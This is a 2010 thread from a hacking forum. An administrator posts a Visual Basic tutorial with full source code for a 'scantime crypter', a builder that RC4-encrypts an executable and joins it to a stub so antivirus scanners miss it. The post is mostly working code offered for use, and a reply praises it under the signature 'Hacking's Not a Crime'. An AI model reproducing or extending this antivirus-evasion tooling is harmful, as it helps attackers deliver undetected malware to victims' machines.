ScanTime Crypter Tut ! - Forum
Welcome To Expl0its Saturday, 12.03.2016, 9:45 AM
Main | Registration | Login Welcome Guest | RSS
[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum moderator: iCryptic 
Forum » Coding Tutorials » Visual Basic, Any year. » ScanTime Crypter Tut ! (crypter)
ScanTime Crypter Tut !
iCrypticDate: Friday, 10.08.2010, 6:55 AM | Message # 1
Secondary Poster
Group: Administrators
Messages: 31
Awards: 3
Reputation: 500
Status: Offline
1.Ok Open Visual Basic 2008/2010
2.Add A textbox And 2 Buttons
3.Rename Buuton1 To Load Then Rename Button 2 To Crypt And Put Textbox As Read Only You Can Find That In The Properties Window.
4. CODE = is mine i did not leech this

Imports System.Text

Public Class Form1
Const filesplit = "-{Dont-You-Dare-Leech-lol}-"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim ofd As New OpenFileDialog
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox1.Text = ofd.FileName
Else : Exit Sub
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim filein, filename, stub As String
Dim sfd As New SaveFileDialog
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = sfd.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "MyBigAssDrunkenPassword"))
FileClose(1)
MsgBox("Crypted")
Me.Close()
End Sub

Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class

5.Press F5 and boom enjoy try memorizing the code so you actually learn sumthing!

 
Ex-RevDate: Friday, 10.08.2010, 7:00 AM | Message # 2
Unlimited Scorer
Group: Administrators
Messages: 71
Awards: 3
Reputation: 2
Status: Offline
Good job . Making new tuts every day,

Hacking's Not a Crime. It's a Skill.

*Can Code Vb
*Can Code HTML
*Can Code Java

PM me for help.

 
Forum » Coding Tutorials » Visual Basic, Any year. » ScanTime Crypter Tut ! (crypter)
Page 1 of 11
Search:

Copyright MyCorp © 2016 Site managed by uCoz